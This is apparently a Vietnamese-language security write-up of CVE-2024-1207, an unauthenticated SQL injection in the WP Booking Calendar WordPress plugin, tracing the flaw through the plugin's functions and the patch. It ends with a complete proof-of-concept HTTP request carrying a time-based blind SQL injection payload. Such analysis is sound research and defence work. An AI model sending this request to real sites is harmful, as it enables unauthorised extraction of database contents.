Mô tả
Lỗ hổng Unauthenticated SQL Injection (CVE-2024-1207) ảnh hưởng đến plugin wordpress WP Booking Calendar phiên bản <= 9.9 thông qua tham số calendar_request_params[dates_ddmmyy_csv]
. Điều này làm cho kẻ tấn công không xác thực có thể thêm các truy vấn SQL bổ sung vào các truy vấn hiện để trích xuất thông tin nhạy cảm từ cơ sở dữ liệu.
Phân tích
Ở bán vá 9.9.1 thực hiện validate dates_ddmmyy_csv
từ strong
thành csv_dates
để khắc phục lỗ hổng.
Dựa vào bản vá thì ta thấy lỗi nằm ở hàm ajax_WPBC_AJX_BOOKING__CREATE
. Hàm này được gọi trong action WPBC_AJX_BOOKING__CREATE.
Bên cạnh đó hàmwpbc_sanitize_params_in_arr
kiểm tra khi tham số validdate => strong
sẽ gọi hàm wpbc_sanitize_text_strong
thực hiện stripslashes()
giá trị nhập vào.
Mặc định WordPress khi đăng ký một hook action sẽ thực hiện áp dụng addslashes()
cho các giá trị của tham số nhập vào để đảm bảo an toàn khi sử dụng trong câu lệnh SQL.
Như vậy với việc khai báo validdate => strong
thì sẽ vô hiệu hóa áp dụng addslashes()
mặc định của WordPress => dễ dẫn đến lỗi SQL Injection.
Trong hàm ajax_WPBC_AJX_BOOKING__CREATE
, tại dòng 61 sẽ gọi đến hàm get_sanitized__in_request__value_or_default
-> wpbc_sanitize_params_in_arr
Sau khi xử lý giá trị người dùng nhập vào sẽ gọi hàm wpbc_booking_save
để kiểm tra và thêm mới booking calendar
Trong hàm wpbc_booking_save
tại dòng 280 xử lý giá trị của tham số calendar_request_params[dates_ddmmyy_csv]
, gán vào biến $local_params[‘dates_only_sql_arr’] và gọi đến hàm wpbc__where_to_save_booking
Tiếp tục gọi đến hàm wpbc_get_availability_per_days_arr
-> wpbc_get__booked_dates__per_resources__arr
và gán tham số Array[dates_to_check] = $local_params['dates_only_sql_arr']
Sau đó sẽ gọi đến các hàm wpbc__sql__get_booking_dates
-> wpbc_get__sql_where__for__dates
và thực hiện gán trực tiếp giá trị $params['dates_to_check'][$i]
vào trong câu truy vấn SQL.
POC
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 635
Connection: close
action=WPBC_AJX_BOOKING__CREATE&wpbc_ajx_user_id=0&nonce=17920ccd94&wpbc_ajx_locale=en_US&calendar_request_params%5Bresource_id%5D=1&calendar_request_params%5Bformdata%5D=select-one%5Erangetime1%5E09%3A00+-+10%3A00~text%5Ename1%5EA~text%5Esecondname1%5EA~email%5Eemail1%5EA%40A.COM~text%5Ephone1%5E~textarea%5Edetails1%5E&calendar_request_params%5Bbooking_hash%5D=&calendar_request_params%5Bcustom_form%5D=&calendar_request_params%5Baggregate_resource_id_arr%5D=&calendar_request_params%5Bis_emails_send%5D=1&calendar_request_params%5Bactive_locale%5D=en_US&calendar_request_params%5Bdates_ddmmyy_csv%5D=17'))) and sleep(2)-- -.03.2024
Tham khảo